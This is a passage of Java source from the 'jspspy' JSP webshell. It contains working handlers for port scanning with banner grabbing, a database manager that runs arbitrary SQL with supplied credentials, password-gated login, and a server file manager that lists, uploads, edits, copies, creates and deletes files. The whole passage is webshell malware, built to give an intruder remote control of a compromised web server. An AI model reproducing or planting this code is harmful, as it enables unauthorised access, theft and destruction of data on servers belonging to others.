								String b = r.readLine();
								while (b != null) {
									sb.append(b+" ");
									try {
										b = r.readLine();
									} catch (Exception e) {
										break;
									}
								}
								rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
								r.close();
							} else {
								rs.put(port,"Open");
							}
							s.close();
						} catch (Exception e) {
							if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
								rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">&lt;&lt;No Banner!&gt;&gt;</span>");
								if (r != null)
									r.close();
							} else {
								rs.put(port,"Close");
							}
						}
					}
					out.println("<div style='margin:10px'>");
					Set entrySet = rs.entrySet();
					Iterator it =  entrySet.iterator();
					while (it.hasNext()) {
						Map.Entry e = (Map.Entry)it.next();
						String port = (String)e.getKey();
						String value = (String)e.getValue();
						out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
					}
					out.println("</div>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class VConnInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					Object obj = JSession.getAttribute(DBO);
					if (obj == null || !((DBOperator)obj).isValid()) {
						out.println("  <script type=\"text/javascript\">"+
						"	function changeurldriver(){"+
						"		var form = document.forms[\"form1\"];"+
						"		var v = form.elements[\"db\"].value;"+
						"		form.elements[\"url\"].value = v.split(\"`\")[1];"+
						"		form.elements[\"driver\"].value = v.split(\"`\")[0];"+
						"		form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
						"	}"+
						"  </script>");
						out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
						"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
						"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
						"<h2>DataBase Manager &raquo;</h2>"+
						"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
						"<p>"+
						"Driver:"+
						"  <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\"  />"+
						"URL:"+
						"<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"+
						"UID:"+
						"<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"+
						"PWD:"+
						"<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"+
						"DataBase:"+
						" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
						" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
						" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
						" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
						" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
						" <option value=' ` '>Other</option>"+
						" </select>"+
						"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"+
						"</p>"+
						"</form></table><script>changeurldriver()</script>");
					} else {
						((Invoker)ins.get("dbc")).invoke(request,response,JSession);
					}
				} catch (ClassCastException e) {
					throw e;
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		//DBConnect
		private static class DbcInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String driver = request.getParameter("driver");
					String url = request.getParameter("url");
					String uid = request.getParameter("uid");
					String pwd = request.getParameter("pwd");
					String sql = request.getParameter("sql");
					String selectDb = request.getParameter("selectDb");
					if (selectDb == null)
						selectDb = JSession.getAttribute("selectDb").toString();
					else
						JSession.setAttribute("selectDb",selectDb);
					Object dbo = JSession.getAttribute(DBO);
					if (dbo == null || !((DBOperator)dbo).isValid()) {
						if (dbo != null)
							((DBOperator)dbo).close();
						dbo = new DBOperator(driver,url,uid,pwd,true);
					} else {
						if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
							DBOperator oldDbo = (DBOperator)dbo;
							dbo = new DBOperator(driver,url,uid,pwd);
							if (!oldDbo.equals(dbo)) {
								((DBOperator)oldDbo).close();
								((DBOperator)dbo).connect();
							} else {
								dbo = oldDbo;
							}
						}
					} 
					DBOperator Ddbo = (DBOperator)dbo;
					JSession.setAttribute(DBO,Ddbo);
					if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
						Ddbo.getConn().setCatalog(request.getParameter("catalog"));
					}
					Util.outMsg(out,"Connect To DataBase Success!");
					out.println("  <script type=\"text/javascript\">"+
						"	function changeurldriver(selectDb){"+
						"		var form = document.forms[\"form1\"];"+
						"		if (selectDb){"+
						"			form.elements[\"db\"].selectedIndex = selectDb"+
						"		}"+
						"		var v = form.elements[\"db\"].value;"+
						"		form.elements[\"url\"].value = v.split(\"`\")[1];"+
						"		form.elements[\"driver\"].value = v.split(\"`\")[0];"+
						"		form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
						"	}"+
						"  </script>");
					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
						"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
						"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
						"<h2>DataBase Manager &raquo;</h2>"+
						"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
						"<p>"+
						"Driver:"+
						"  <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\"  />"+
						"URL:"+
						"<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"+
						"UID:"+
						"<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"+
						"PWD:"+
						"<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"+
						"DataBase:"+
						" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
						" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
						" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
						" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
						" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
						" <option value=' ` '>Other</option>"+
						" </select>"+
						"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"+
						"</p>"+
						"</form><script>changeurldriver('"+selectDb+"')</script>");
					DatabaseMetaData meta = Ddbo.getConn().getMetaData();
					out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
					"<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
					out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
					out.println("<option value='0'>-- Select a DataBase --</option>");
					ResultSet dbs = meta.getCatalogs();
					try {
						while (dbs.next()){
							out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
						}
					}catch(Exception ex) {
					}
					dbs.close();
					out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");	
					if (Util.isEmpty(sql)) {
						String type = request.getParameter("type");
						if (Util.isEmpty(type) || type.equals("switch")) {
							ResultSet tbs = meta.getTables(null,null,null,null);
							out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
							tbs.close();
						} else if (type.equals("struct")) {
							String tb = request.getParameter("table");
							if (Util.isEmpty(tb))
								return;
							ResultSet t = meta.getColumns(null,null,tb,null);
							out.println(Table.rs2Table(t,"",false));
							t.close();
						}
					}
				} catch (Exception e) {
					JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
					throw e;
				}
			}
		}
		private static class ExecuteSQLInvoker extends DefaultInvoker{
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String sql = request.getParameter("sql");
					String db = request.getParameter("selectDb");
					Object dbo = JSession.getAttribute(DBO);
					if (!Util.isEmpty(sql)) {
						if (dbo == null || !((DBOperator)dbo).isValid()) {
							((Invoker)ins.get("vConn")).invoke(request,response,JSession);
							return;
						} else {
							((Invoker)ins.get("dbc")).invoke(request,response,JSession);
							Object obj = ((DBOperator)dbo).execute(sql);
							if (obj instanceof ResultSet) {
								ResultSet rs = (ResultSet)obj;
								ResultSetMetaData meta = rs.getMetaData();
								int colCount = meta.getColumnCount();
								out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
								out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
								for (int i=1;i<=colCount;i++) {
									out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
								}
								out.println("</tr>");
								Table tb = new Table();
								while(rs.next()) {
									Row r = new Row();
									for (int i = 1;i<=colCount;i++) {
										String v = null;
										try {
											v = rs.getString(i);
										} catch (SQLException ex) {
											v = "<<Error!>>";
										}
										r.addColumn(new Column(v));
									}
									tb.addRow(r);
								}
								out.println(tb.toString());
								out.println("</table><br/>");
								rs.close();
								((DBOperator)dbo).closeStmt();
							} else {
								out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
							}
						}
					} else {
						((Invoker)ins.get("dbc")).invoke(request,response,JSession);
					}
				} catch (Exception e) {

					throw e ;
				}
			}
		}
		private static class VLoginInvoker extends DefaultInvoker {
			public boolean doBefore() {return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					out.println("<html><head><title>jspspy</title><style type=\"text/css\">"+
					"	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
					"a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
					"	</style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
					"<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
					"	  <p><span style=\"font:11px Verdana;\">Password: </span>"+
					"        <input name=\"o\" type=\"hidden\" value=\"login\">"+
					"        <input name=\"pw\" type=\"password\" size=\"20\">"+
					"        <input type=\"hidden\" name=\"o\" value=\"login\">"+
					"        <input type=\"submit\" value=\"Login\"><br/>"+
					"<!--<span style=\"font:11px Verdana;\">Copyright &copy; 2009 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a>--></p>"+
					"    </form><span style='font-weight:bold;color:red;font-size:12px'>CY... I Love You. I Do! by n1nty 2010/8/18</span></body></html>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class LoginInvoker extends DefaultInvoker{
			public boolean doBefore() {return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String inputPw = request.getParameter("pw");
					if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
						((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
						return;
					} else {
						JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
						response.sendRedirect(SHELL_NAME);
						return;
					}
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class MyComparator implements Comparator{
						public int compare(Object obj1,Object obj2) {
							try {
								if (obj1 != null && obj2 != null) {
									File f1 = (File)obj1;
									File f2 = (File)obj2;
									if (f1.isDirectory()) {
										if (f2.isDirectory()) {
											return f1.getName().compareTo(f2.getName());
										} else {
											return -1;
										}
									} else { 
										if (f2.isDirectory()) {
											return 1;
										} else {
											return  f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
										}
									}							
								}
								return 0;
							} catch (Exception e) {
								return 0;
							}
						}
					}
		private static class FileListInvoker extends DefaultInvoker {
		public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
			try {
				String path2View = null;
				PrintWriter out = response.getWriter();
				String path = request.getParameter("folder");
				String outEntry = request.getParameter("outentry");
				if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
					JSession.removeAttribute(ENTER);
					JSession.removeAttribute(ENTER_MSG);
					JSession.removeAttribute(ENTER_CURRENT_DIR);
				}
				Object enter = JSession.getAttribute(ENTER);
					File file = null;
					if (!Util.isEmpty(enter)) {
						if (Util.isEmpty(path)) {
							if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
								path = "/";
							else 
								path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
						}
						file = new EnterFile(path);
						((EnterFile)file).setZf((String)enter);
						JSession.setAttribute(ENTER_CURRENT_DIR,path);
					} else {
						if (Util.isEmpty(path))
							path = JSession.getAttribute(CURRENT_DIR).toString();
						JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
						file = new File(path);
					}
					path2View = Util.convertPath(path);
					if (!file.exists()) {
						throw new Exception(path+"Dont Exists !");
					}
					File[] list = file.listFiles();
					Arrays.sort(list,new MyComparator());
					out.println("<div style='margin:10px'>");
					String cr = null;
					try {
						cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
					}catch(Exception e) {
						cr = "/";
					}
					File currentRoot = new File(cr);
					out.println("<h2>File Manager - Current disk &quot;"+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"&quot; total (unknow)</h2>");
					out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
					"<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
					"  <tr>"+
					"    <td nowrap>Current Directory  <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
					"	<td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
					"    <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
					"  </tr>"+
					"</table>"+
					"</form>");
					out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
					"<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
					"<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
					"<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
					" | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
					" | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
					" | ");
					File[] roots = file.listRoots();
					for (int i = 0;i<roots.length;i++) {
						File r = roots[i];
						out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
						if (i != roots.length -1) {
							out.println("|");
						} 
					}
					out.println("</td>"+
					"</tr></form>"+
					"<tr class=\"head\"><td>&nbsp;</td>"+
					"  <td>Name</td>"+
					"  <td width=\"16%\">Last Modified</td>"+
					"  <td width=\"10%\">Size</td>"+
					"  <td width=\"20%\">Read/Write/Execute</td>"+
					"  <td width=\"22%\">&nbsp;</td>"+
					"</tr>");
					if (file.getParent() != null) {
						out.println("<tr class=alt1>"+
						"<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
						"<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
						"</tr>");	
					}
					int dircount = 0;
					int filecount = 0;
					for (int i = 0;i<list.length;i++) {
						File f = list[i];
						if (f.isDirectory()) {
							dircount ++;
							out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
							"<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
							"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
							"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
							"<td nowrap>--</td>"+
							"<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
							"<td nowrap>");
							if (enter != null) 
								out.println("&nbsp;");
							else 
								out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
							out.println("</td></tr>");
						} else {
							filecount++;
							out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
							"<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
							"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
							"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
							"<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
							"<td nowrap>"+
							""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
							"<td nowrap>"+
							"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
							"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
							"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
							if (enter == null ) {
								out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
								"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
								"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
								if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
									out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
								} else if (f.getName().endsWith(".rar")) {
									out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
								} else {
									out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
								}
							}
							out.println("</td></tr>");
						}
					}
					out.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"+
					"  <td>");
					if (enter != null) 
						out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
					else 
						out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
					out.println("</td>"+
					"  <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
					"</table>");
					out.println("</div>");
					if (file instanceof EnterFile)
						((EnterFile)file).close();
			} catch (ZipException e) {
				JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
				throw e;
			} catch (Exception e) {
				JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
				throw e;
			}
		}
	}
	private static class LogoutInvoker extends DefaultInvoker {
			public boolean doBefore() {return false;}
			public boolean doAfter() {return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					Object dbo = JSession.getAttribute(DBO);
					if (dbo != null)
						((DBOperator)dbo).close();
					Object obj = JSession.getAttribute(PORT_MAP);
					if (obj != null) {
						ServerSocket s = (ServerSocket)obj;
						s.close();
					}
					Object online = JSession.getAttribute(SHELL_ONLINE);
					if (online != null)
						((OnLineProcess)online).stop();
					JSession.invalidate();
					((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
				} catch (ClassCastException e) {
					JSession.invalidate();
					((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
				} catch (Exception e) {

					throw e ;
				}
			}
		}
		private static class UploadInvoker extends DefaultInvoker {
			public boolean doBefore() {return false;}
			public boolean doAfter() {return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					UploadBean fileBean = new UploadBean();
					response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
					fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
					fileBean.parseRequest(request);
					JSession.setAttribute(MSG,"Upload File Success!");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class CopyInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String src = request.getParameter("src");
					String to = request.getParameter("to");
					InputStream in = null;
					Object enter = JSession.getAttribute(ENTER);
					if (enter == null)
						in = new FileInputStream(new File(src));
					else {
						ZipFile zf = new ZipFile((String)enter);
						ZipEntry entry = zf.getEntry(src);
						in = zf.getInputStream(entry);
					}
					BufferedInputStream input = new BufferedInputStream(in);
					BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
					byte[] d = new byte[1024];
					int len = input.read(d);
					while(len != -1) {
						output.write(d,0,len);
						len = input.read(d);
					}
					output.close();
					input.close();
					JSession.setAttribute(MSG,"Copy File Success!");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class BottomInvoker extends DefaultInvoker {
			public boolean doBefore() {return false;}
			public boolean doAfter() {return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2009 <a href=\"http://www.forjj.com\" target=\"_blank\">http://www.Forjj.com/</a>&nbsp;&nbsp;<a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
					"</div>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class VCreateFileInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String path = request.getParameter("filepath");
					File f = new File(path);
					if (!f.isAbsolute()) {
						String oldPath = path;
						path = JSession.getAttribute(CURRENT_DIR).toString();
						if (!path.endsWith("/"))
							path+="/";
						path+=oldPath;
						f = new File(path);
						f.createNewFile();
					} else {
						f.createNewFile();
					}
					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
					"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
					"<h2>Create / Edit File &raquo;</h2>"+
					"<input type='hidden' name='o' value='createFile'>"+
					"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\"  />"+
					" <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
					"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
					"<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
					"</form>"+
					"</td></tr></table>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class VEditInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String path = request.getParameter("filepath");
					String charset = request.getParameter("charset");
					Object enter = JSession.getAttribute(ENTER);
					InputStream input = null;
					if (enter != null) {
						ZipFile zf = new ZipFile((String)enter);
						ZipEntry entry = new ZipEntry(path);
						input = zf.getInputStream(entry);
					} else {
						File f = new File(path);
						if (!f.exists())
							return;
						input = new FileInputStream(path);
					}
				
						BufferedReader reader = null;
						if (Util.isEmpty(charset) || charset.equals("ANSI"))
							reader = new BufferedReader(new InputStreamReader(input));
						else
							reader = new BufferedReader(new InputStreamReader(input,charset));
						StringBuffer content = new StringBuffer();
						String s = reader.readLine();
						while (s != null) {
							content.append(s+"\r\n");
							s = reader.readLine();
						}
						reader.close();
						out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
					"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
					"<h2>Create / Edit File &raquo;</h2>"+
					"<input type='hidden' name='o' value='createFile'>"+
					"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\"  />"+
					" <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
					"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
					"<p>");
						if (enter != null)
							out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
						else 
							out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
						out.println("<input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
					"</form>"+
					"</td></tr></table>");
					
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class CreateFileInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String path = request.getParameter("filepath");
					String content = request.getParameter("filecontent");
					String charset = request.getParameter("charset");
					BufferedWriter outs = null;
					if (charset.equals("ANSI"))
						outs = new BufferedWriter(new FileWriter(new File(path)));
					else
						outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
					outs.write(content,0,content.length());
					outs.close();
					JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class VEditPropertyInvoker extends DefaultInvoker {
